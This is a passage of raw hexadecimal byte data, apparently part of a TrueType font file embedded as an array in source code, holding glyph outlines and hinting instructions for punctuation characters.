0xb1,0x11,0x10,0x2f,0x3c,0xb1,0x26,0x25,0x2f,0x3c,0xb1,0x1f,0x1e,0x2f,0x3c,0xb5, + 0x1,0xb,0x8,0x0,0x0,0x9,0x11,0x14,0x12,0x39,0x39,0x14,0x40,0x9,0x1,0x34, + 0x16,0x15,0x7,0x4,0x10,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x40,0x9,0x1, + 0x3c,0x33,0x17,0x1,0x4,0x2,0x0,0x10,0x11,0x14,0x12,0x17,0x39,0x14,0x40,0xa, + 0x1,0x2b,0x2a,0x20,0x1d,0x0,0x5,0x1,0x0,0x25,0x11,0x14,0x12,0x17,0x39,0x14, + 0xb1,0xc,0x0,0x3f,0xb1,0x36,0xc,0x10,0xcd,0x31,0x30,0x1,0x11,0x20,0x16,0x15, + 0x14,0x6,0x21,0x7,0x15,0x23,0x35,0x23,0x22,0x27,0x24,0x11,0x33,0x15,0x14,0x16, + 0x33,0x17,0x11,0x20,0x26,0x35,0x34,0x36,0x21,0x35,0x33,0x15,0x17,0x32,0x16,0x15, + 0x7,0x23,0x27,0x34,0x26,0x23,0x27,0x23,0x22,0x6,0x15,0x14,0x16,0x33,0x17,0x13, + 0x16,0x17,0x4,0x11,0x34,0x26,0x23,0x27,0x2,0xb0,0x1,0x30,0xd1,0xc7,0xfe,0xf2, + 0x2c,0x74,0x63,0x4c,0x32,0xfe,0xdc,0x97,0x69,0xd5,0x30,0xfe,0xcb,0xc2,0xcb,0x1, + 0x2c,0x74,0x39,0xfb,0xae,0x1,0x94,0x1,0x61,0xb2,0xad,0x2f,0xc1,0x74,0x77,0xc9, + 0x24,0x74,0x25,0x12,0x1,0x37,0x7d,0xcc,0x25,0x4,0xd1,0xfe,0x26,0x98,0xde,0xdd, + 0xa3,0x1,0x9a,0x9a,0x4,0x17,0x1,0x8e,0x19,0xb7,0x5b,0x2,0x1,0xf9,0x8e,0xe3, + 0xdb,0x94,0x7f,0x7f,0x1,0x8b,0xc7,0x2b,0x22,0x8c,0x4c,0x2,0x53,0x88,0xa1,0x5f, + 0x1,0xfd,0x85,0x6,0x2,0x19,0x1,0x26,0x96,0x5b,0x1,0x0,0x2,0x0,0xb7,0xff, + 0xf9,0x3,0xf9,0x4,0xe3,0x0,0x19,0x0,0x20,0x0,0x68,0xb6,0x1a,0x20,0x11,0x10, + 0xb,0xa,0x5,0x17,0x2f,0x3c,0xb7,0x0,0x13,0x12,0x9,0x8,0x1,0x5,0xa,0x10, + 0x17,0xdd,0x3c,0xb1,0xe,0xa,0x10,0xc4,0xb5,0x17,0x16,0x15,0x5,0x4,0x1,0x10, + 0xc0,0xc0,0xc4,0xc0,0xc0,0xb1,0x1d,0xe,0x10,0xcd,0x0,0xb1,0xa,0x9,0x2f,0x3c, + 0xb1,0x5,0x4,0x2f,0x3c,0xb1,0x17,0x16,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c,0x40, + 0x9,0x1,0x20,0xb,0x8,0x1,0x4,0x4,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13, + 0x40,0x9,0x1,0x1a,0x13,0x10,0x0,0x4,0x11,0x2,0x0,0x13,0x11,0x12,0x17,0x39, + 0x13,0x31,0x30,0x1,0x11,0x32,0x35,0x37,0x33,0x7,0x10,0x21,0x15,0x23,0x35,0x22, + 0x26,0x11,0x10,0x21,0x35,0x33,0x15,0x20,0x11,0x7,0x23,0x34,0x26,0x27,0xe,0x1, + 0x15,0x10,0x16,0x17,0x2,0x96,0xd6,0x1,0x8c,0x1,0xfe,0x9e,0x74,0xd2,0x99,0x1, + 0x6b,0x74,0x1,0x50,0x1,0x8c,0x47,0xf0,0x86,0x52,0x4e,0x8a,0x3,0xed,0xfd,0x12, + 0xbd,0x35,0x25,0xfe,0xbf,0x92,0x92,0xdb,0x1,0x2c,0x1,0xcc,0x85,0x85,0xfe,0xea, + 0x2c,0x7f,0x4c,0x9,0xa,0x81,0xc9,0xfe,0xff,0x93,0x7,0x0,0x1,0x0,0x92,0xfe, + 0xec,0x4,0x57,0x5,0xee,0x0,0x1d,0x0,0x5d,0x40,0xc,0x1d,0x1c,0x1b,0x16,0x15, + 0xf,0xe,0xd,0xc,0x7,0x6,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x0,0xb4,0x1c,0x1b,0xf,0xe,0x3,0x17,0x2f,0x3c,0xb5,0x0,0x1d, + 0xd,0xc,0x3,0xe,0x10,0x17,0xdd,0x3c,0xb5,0x1,0x16,0x15,0x13,0x1,0x0,0x13, + 0x10,0xc4,0xc0,0xc0,0x13,0x40,0xb,0x4,0x1,0x1,0x7,0x6,0x4,0x3,0x0,0x0, + 0x3,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0xb3,0x18,0x13,0x9,0x4, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x3,0xe,0x1,0x23,0x22,0x27,0x37,0x16,0x33, + 0x32,0x37,0x13,0x23,0x37,0x33,0x37,0x3e,0x1,0x33,0x32,0x17,0x7,0x26,0x23,0x22, + 0xf,0x1,0x33,0x7,0x2,0xf0,0x9f,0x1e,0x86,0xa7,0x35,0x3f,0x15,0x43,0x26,0x92, + 0x1c,0xa1,0xbc,0x15,0xbb,0x25,0x1e,0x88,0xae,0x21,0x4a,0x15,0x3f,0x2a,0x92,0x1c, + 0x27,0xfd,0x15,0x3,0x8c,0xfc,0x7c,0xaa,0x72,0x7,0x76,0x9,0x9c,0x3,0x90,0x74, + 0xd2,0xaa,0x72,0x4,0x76,0x6,0x9b,0xdf,0x74,0x0,0x1,0x0,0x45,0x0,0x0,0x4, + 0xa3,0x5,0x55,0x0,0x17,0x0,0x91,0xb4,0x10,0xf,0xc,0xb,0x3,0x17,0x2f,0x3c, + 0xb1,0xa,0x9,0x2f,0x3c,0xb4,0x6,0x5,0x2,0x1,0x3,0x17,0x2f,0x3c,0xb2,0x8, + 0x7,0x9,0x10,0xdd,0x3c,0xb1,0x12,0xb,0x10,0xc0,0xb1,0x17,0x1,0x10,0xc0,0xb6, + 0x13,0x11,0xe,0xd,0x4,0x9,0xb,0x11,0x12,0x17,0x39,0xb3,0x15,0x14,0x7,0x9, + 0x11,0x12,0x39,0x39,0xb6,0x16,0x4,0x3,0x0,0x4,0x1,0x7,0x11,0x12,0x17,0x39, + 0x0,0xb6,0x1,0x17,0x16,0x13,0x12,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13, + 0xb1,0x9,0x8,0x2f,0x3c,0xb4,0xd,0xc,0x5,0x4,0x3,0x17,0x2f,0x3c,0xb4,0x0, + 0x11,0x10,0x1,0x3,0x17,0x2f,0x3c,0xb5,0xf,0xe,0x3,0x2,0x3,0x1,0x10,0x17, + 0xdd,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x4,0x10,0x17,0xdd,0x3c,0xb3,0x15,0x14, + 0x2,0x4,0x11,0x12,0x39,0x39,0x31,0x30,0x1,0x33,0x15,0x21,0x7,0x21,0x15,0x21, + 0x11,0x23,0x11,0x21,0x35,0x21,0x27,0x23,0x35,0x33,0x1,0x33,0x1,0x33,0x1,0x33, + 0x3,0x98,0xba,0xfe,0xf8,0x7d,0x1,0x85,0xfe,0x68,0x9a,0xfe,0x76,0x1,0x77,0x79, + 0xfe,0xb2,0xfe,0xfd,0xb3,0x1,0x78,0x4,0x1,0x78,0xb7,0x3,0xa6,0x82,0xc9,0x82, + 0xfe,0x27,0x1,0xd9,0x82,0xc9,0x82,0x1,0xaf,0xfd,0x82,0x2,0x7e,0x0,0x1,0x0, + 0x7b,0x0,0x0,0x1,0x15,0x0,0xb8,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2,0x2f,0x3c, + 0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x1,0x15, + 0x9a,0xb8,0xb8,0xb8,0x0,0x0,0x2,0x0,0x7b,0x0,0x0,0x1,0x15,0x3,0xbc,0x0, + 0x3,0x0,0x7,0x0,0x38,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2, + 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x0,0x40,0xb, + 0x1,0x6,0x5,0x2,0x4,0x7,0x0,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10, + 0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23, + 0x35,0x13,0x15,0x23,0x35,0x1,0x15,0x9a,0x9a,0x9a,0xb8,0xb8,0xb8,0x3,0x4,0xb8, + 0xb8,0x0,0x1,0x0,0x7b,0x1,0x7e,0x1,0x15,0x2,0x36,0x0,0x3,0x0,0x1b,0xb1, + 0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb1,0x2,0x1,0x2f, + 0x3c,0xb2,0x0,0x3,0x1,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x1,0x15, + 0x9a,0x2,0x36,0xb8,0xb8,0x0,0x3,0x0,0x7b,0x0,0x0,0x4,0x4c,0x0,0xb8,0x0, + 0x3,0x0,0x7,0x0,0xb,0x0,0x4e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f, + 0x3c,0xb1,0x8,0x9,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5, + 0x6,0x10,0xdd,0x3c,0xb2,0xb,0xa,0x9,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1,0x8, + 0xb,0x0,0x4,0x7,0x0,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xa, + 0x9,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x21,0x15,0x23,0x35,0x21,0x15,0x23, + 0x35,0x1,0x15,0x9a,0x2,0x32,0x9a,0x2,0x39,0x9a,0xb8,0xb8,0xb8,0xb8,0xb8,0xb8, + 0xb8,0x0,0x1,0x0,0x6d,0xff,0x37,0x1,0x1b,0x0,0xb8,0x0,0xb,0x0,0x42,0xb1, + 0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c, + 0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0xb4,0x1,0x0,0xb, + 0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c,0x40,0xa,0x3,0x1, + 0x6,0x5,0x3,0x1,0x4,0x9,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31, + 0x30,0x25,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x1,0x1b,0x88, + 0xd,0x19,0x56,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0x0,0x0, + 0x2,0x0,0x44,0xff,0x37,0x0,0xf2,0x3,0xbc,0x0,0xb,0x0,0xf,0x0,0x5b,0xb1, + 0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0xf,0xe,0x2f,0x3c,0xb2,0x0, + 0x1,0xa,0x10,0xdd,0x3c,0xb2,0xc,0xd,0xe,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8, + 0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0x40,0xb,0x1,0xe,0xd,0x2,0xc,0xf, + 0x0,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, + 0xb1,0xa,0x9,0x2f,0x3c,0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3, + 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31,0x30,0x37,0x15,0x14,0x23,0x22,0x27, + 0x35,0x36,0x35,0x27,0x23,0x35,0x13,0x15,0x23,0x35,0xf2,0x88,0xd,0x19,0x56,0x1, + 0x41,0x90,0x9a,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0x3,0x4,0xb8,0xb8, + 0x0,0x0,0x1,0x0,0x56,0x3,0xf0,0x1,0xc,0x5,0x71,0x0,0xb,0x0,0x45,0xb1, + 0x0,0x1,0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb2,0xb,0xa,0x1,0x10,0xdd,0x3c, + 0xb4,0x8,0x9,0x8,0xa,0x1,0x11,0x12,0x39,0x39,0x2f,0x0,0xb1,0xa,0x9,0x2f, + 0x3c,0xb2,0x0,0xb,0x9,0x10,0xdd,0x3c,0xb3,0x1,0x5,0x1,0x0,0x13,0x10,0xc0, + 0x13,0xb5,0x1,0x6,0x1,0x1,0x0,0x9,0x11,0x14,0x12,0x39,0x39,0x14,0xb1,0x3, + 0x1,0x3f,0x31,0x30,0x13,0x35,0x34,0x33,0x32,0x17,0x15,0x22,0x15,0x17,0x33,0x15, + 0x56,0x88,0xf,0x1f,0x5e,0x1,0x41,0x3,0xf0,0xc7,0xba,0x2,0x4d,0x57,0x23,0xb8, + 0x0,0x0,0x2,0x0,0x62,0x3,0xd3,0x2,0x37,0x5,0x55,0x0,0xb,0x0,0x17,0x0, + 0x7e,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c, + 0xb1,0xc,0xd,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd, + 0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14, + 0x15,0x14,0xd,0x16,0x11,0x12,0x39,0x39,0x2f,0x0,0x40,0xe,0x1,0x16,0x15,0x1, + 0xc,0x17,0x0,0xa,0x9,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb7,0x1,0x6,0x5,0x1,0x3,0x9,0x2, + 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb7,0x1,0x12,0x11,0xd,0x3,0x15,0x2,0x0, + 0x13,0x11,0x12,0x17,0x39,0x13,0xb3,0xf,0x2,0x3,0x2,0x3f,0x3f,0x31,0x30,0x1, + 0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x21,0x15,0x14,0x23,0x22, + 0x27,0x35,0x32,0x35,0x27,0x23,0x35,0x1,0x10,0x88,0xc,0x1a,0x56,0x1,0x41,0x1, + 0xc1,0x88,0x10,0x1e,0x5e,0x1,0x41,0x5,0x55,0xc7,0xbb,0x2,0x4d,0x5,0x53,0x23, + 0xb8,0xc7,0xbb,0x2,0x4d,0x58,0x23,0xb8,0x0,0x0,0x2,0x0,0x56,0x3,0xf0,0x2, + 0x2b,0x5,0x71,0x0,0xb,0x0,0x17,0x0,0x7f,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x6, + 0x5,0x2f,0x3c,0xb1,0xc,0xd,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c,0xb2,0x0,0x1, + 0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0xa, + 0x1,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14,0x15,0x14,0x16,0xd,0x11,0x12,0x39,0x39, + 0x2f,0x0,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x16,0x15,0x2f,0x3c,0xb2,0x0,0xb,0x9, + 0x10,0xdd,0x3c,0xb2,0xc,0x17,0x15,0x10,0xdd,0x3c,0xb4,0x1,0x11,0x5,0x1,0x0, + 0x13,0x10,0xc0,0xc0,0x13,0xb5,0x1,0x6,0x1,0x1,0x0,0x9,0x11,0x14,0x12,0x39, + 0x39,0x14,0xb5,0x1,0x12,0xd,0x1,0x0,0x15,0x11,0x14,0x12,0x39,0x39,0x14,0xb3, + 0xf,0x1,0x3,0x1,0x3f,0x3f,0x31,0x30,0x1,0x35,0x34,0x33,0x32,0x17,0x15,0x6, + 0x15,0x17,0x33,0x15,0x21,0x35,0x34,0x33,0x32,0x17,0x15,0x22,0x15,0x17,0x33,0x15, + 0x1,0x7d,0x88,0xb,0x1b,0x56,0x1,0x41,0xfe,0x3f,0x88,0xf,0x1f,0x5e,0x1,0x41, + 0x3,0xf0,0xc7,0xba,0x2,0x4d,0x5,0x52,0x23,0xb8,0xc7,0xba,0x2,0x4d,0x57,0x23, + 0xb8,0x0,0x2,0x0,0x62,0xff,0x37,0x2,0x37,0x0,0xb8,0x0,0xb,0x0,0x17,0x0, + 0x7c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c, + 0xb1,0xc,0xd,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd, + 0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14, + 0x15,0x14,0xd,0x16,0x11,0x12,0x39,0x39,0x2f,0x0,0xb7,0x1,0xc,0x17,0x0,0x0, + 0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c, + 0xb1,0x16,0x15,0x2f,0x3c,0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3, + 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x40,0xa,0xf,0x1,0x12,0x11,0xf,0xd, + 0x4,0x15,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31,0x30,0x25,0x15,0x14, + 0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x21,0x15,0x14,0x23,0x22,0x27,0x35, + 0x32,0x35,0x27,0x23,0x35,0x1,0x10,0x88,0xd,0x19,0x56,0x1,0x41,0x1,0xc1,0x88, + 0x11,0x1d,0x5e,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0xc6,0xbb, + 0x2,0x4c,0x58,0x23,0xb8,0x0,0x2,0x0,0xa0,0x0,0x0,0x1,0x48,0x5,0x55,0x0, + 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd, + 0x3c,0xb3,0x7,0x6,0x5,0x4,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x4,0x7,0x0, + 0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, + 0x3c,0xb1,0x6,0x5,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x13,0x3,0x23,0x3, + 0x1,0x42,0x9a,0xa0,0x14,0x83,0x11,0xb8,0xb8,0xb8,0x4,0x9d,0xfc,0x24,0x3,0xdc, + 0x0,0x0,0x2,0x0,0xa2,0xfe,0x66,0x1,0x4a,0x3,0xbc,0x0,0x3,0x0,0x7,0x0, + 0x35,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0xb3,0x7,0x6, + 0x5,0x4,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xb,0x1,0x4,0x7,0x0,0x0,0x3,0x2, + 0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1, + 0x6,0x5,0x2f,0x3c,0x31,0x30,0x13,0x35,0x33,0x15,0x3,0x13,0x33,0x13,0xa2,0x9a, + 0x9a,0x14,0x83,0x11,0x3,0x4,0xb8,0xb8,0xfb,0x62,0x3,0xdd,0xfc,0x23,0x0,0x0, + 0x2,0x0,0x6d,0x0,0x0,0x3,0xc1,0x5,0x63,0x0,0x3,0x0,0x20,0x0,0x44,0xb1, + 0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb5,0x1b,0x14,0x13,0x12, + 0x5,0x4,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0xb1,0xc,0x1b,0x10,0xcd,0x0,0xb4,0x1, + 0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x4, + 0x5,0x2f,0x3c,0xb1,0x14,0x13,0x2f,0x3c,0xb1,0x18,0x1,0x3f,0xb1,0xf,0x18,0x10, + 0xcd,0x31,0x30,0x25,0x15,0x23,0x35,0x37,0x23,0x37,0x34,0x36,0x3f,0x1,0x36,0x35, + 0x34,0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x21,0x32,0x16,0x15,0x10, + 0xf,0x1,0x6,0x15,0x2,0x1d,0x9a,0x9f,0x97,0x1,0x4d,0x84,0x53,0x7e,0x5d,0xb7, + 0xbc,0x61,0x1,0x91,0x1,0xad,0x1,0x16,0xea,0xa6,0xc1,0x54,0x89,0xb8,0xb8,0xb8, + 0xd2,0x1e,0x89,0x6c,0x32,0x20,0x30,0xc2,0xa9,0x57,0x5c,0xb4,0x27,0x2d,0xf4,0x98, + 0x9a,0xda,0xfe,0xc8,0x45,0x1e,0x31,0x77,0x0,0x0,0x2,0x0,0x66,0xfe,0x58,0x3, + 0xba,0x3,0xbc,0x0,0x3,0x0,0x20,0x0,0x45,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3, + 0x2,0x1,0x10,0xdd,0x3c,0xb5,0x1b,0x14,0x13,0x12,0x5,0x4,0x2e,0x2e,0x2f,0x2e, + 0x2e,0x2f,0xb1,0xc,0x1b,0x10,0xcd,0x0,0xb7,0x1,0x0,0x3,0x2,0x2,0x1,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x14,0x13,0x2f,0x3c,0xb1,0x4, + 0x5,0x2f,0x3c,0xb1,0x18,0x3,0x3f,0xb1,0xf,0x18,0x10,0xcd,0x31,0x30,0x1,0x35, + 0x33,0x15,0x7,0x33,0x7,0x14,0x6,0xf,0x1,0x6,0x15,0x14,0x16,0x33,0x32,0x36, + 0x3d,0x1,0x33,0x15,0x14,0x6,0x21,0x22,0x26,0x35,0x10,0x3f,0x1,0x36,0x35,0x2, + 0x5,0x9a,0x9a,0x97,0x1,0x4c,0x85,0x53,0x7e,0x5d,0xb7,0xbc,0x61,0x90,0xad,0xfe, + 0xe9,0xea,0xa6,0xc2,0x53,0x8a,0x3,0x4,0xb8,0xb8,0xd2,0x1e,0x89,0x6c,0x32,0x20, + 0x30,0xc2,0xaa,0x57,0x5d,0xb4,0x27,0x2d,0xf5,0x98,0x9a,0xdb,0x1,0x39,0x44,0x1e, + 0x30,0x78,0x0,0x0,0x2,0x0,0x66,0x0,0x0,0x3,0x2c,0x4,0x17,0x0,0x5,0x0, + 0xb,0x0,0x5a,0x40,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1, + 0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1, + 0x1,0x8,0x2,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x40, + 0xd,0x1,0x1,0xa,0x9,0x7,0x4,0x3,0x1,0x6,0x2,0x0,0x0,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0x40,0xb,0x1,0x1,0xb,0x6,0x5,0x0,0x4,0x1, + 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x13,0x1, + 0x27,0x13,0x3,0x27,0x13,0x1,0x27,0x13,0x3,0x2,0x36,0xf6,0xfe,0xed,0x63,0xee, + 0xd7,0xe7,0xf6,0xfe,0xed,0x63,0xee,0xd7,0x4,0x17,0xfd,0xf6,0xfd,0xf3,0x42,0x1, + 0xcb,0x1,0xca,0x40,0xfd,0xf6,0xfd,0xf3,0x42,0x1,0xcb,0x1,0xca,0x0,0x2,0x0, + 0x66,0x0,0x0,0x3,0x2c,0x4,0x17,0x0,0x5,0x0,0xb,0x0,0x5a,0x40,0xc,0xb, + 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x1,0xa,0x4,0x0,0x0,0x3, + 0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x40,0xd,0x1,0x1,0xb,0x9,0x8, + 0x5,0x3,0x2,0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x40,0xb,0x1,0x1,0x7,0x6,0x1,0x0,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14, + 0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x17,0x3,0x13,0x7,0x9,0x1,0x17,0x3, + 0x13,0x7,0x1,0x1,0x5c,0x69,0xd7,0xee,0x63,0xfe,0xed,0x2,0x46,0x69,0xd7,0xee, + 0x63,0xfe,0xed,0x4,0x17,0x40,0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x2,0xa,0x40, + 0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x0,0x1,0x0,0x66,0x0,0x0,0x1,0xdc,0x4, + 0x17,0x0,0x5,0x0,0x44,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x1,0x2,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39, + 0x13,0x14,0x40,0xa,0x1,0x1,0x4,0x3,0x1,0x3,0x2,0x0,0x0,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x5,0x0,0x1,0x0,0x2,0x0,0x13, + 0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1b,0x1,0x1,0x27,0x13,0x3,0xe6, + 0xf6,0xfe,0xed,0x63,0xee,0xd7,0x4,0x17,0xfd,0xf6,0xfd,0xf3,0x42,0x1,0xcb,0x1, + 0xca,0x0,0x1,0x0,0x66,0x0,0x0,0x1,0xdc,0x4,0x17,0x0,0x5,0x0,0x44,0xb5, + 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x1, + 0x4,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xa,0x1,0x1, + 0x5,0x3,0x2,0x3,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0xb7,0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13, + 0x14,0x31,0x30,0x1,0x17,0x3,0x13,0x7,0x1,0x1,0x5c,0x69,0xd7,0xee,0x63,0xfe, + 0xed,0x4,0x17,0x40,0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x0,0x1,0xff,0x78,0xfe, + 0x66,0x4,0x9b,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb7,0x1,0x0,0x3,0x0,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0x31,0x30,0x9,0x1,0x23,0x1,0x4,0x9b,0xfb,0x50,0x73,0x4, + 0xb1,0x5,0x55,0xf9,0x11,0x6,0xef,0x0,0x1,0x0,0x0,0x1,0xb0,0x1,0xa9,0x2, + 0x32,0x0,0x3,0x0,0x1b,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0, + 0xc0,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30, + 0x13,0x21,0x15,0x21,0x3,0x1,0xa6,0xfe,0x57,0x2,0x32,0x82,0x0,0x0,0x1,0x0, + 0xe3,0x1,0xb0,0x4,0x6,0x2,0x32,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c, + 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, + 0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0xe3,0x3,0x23,0xfc,0xdd,0x2,0x32,0x82, + 0x0,0x0,0x1,0x0,0x0,0x1,0xb0,0x5,0x89,0x2,0x32,0x0,0x3,0x0,0x1b,0xb1, + 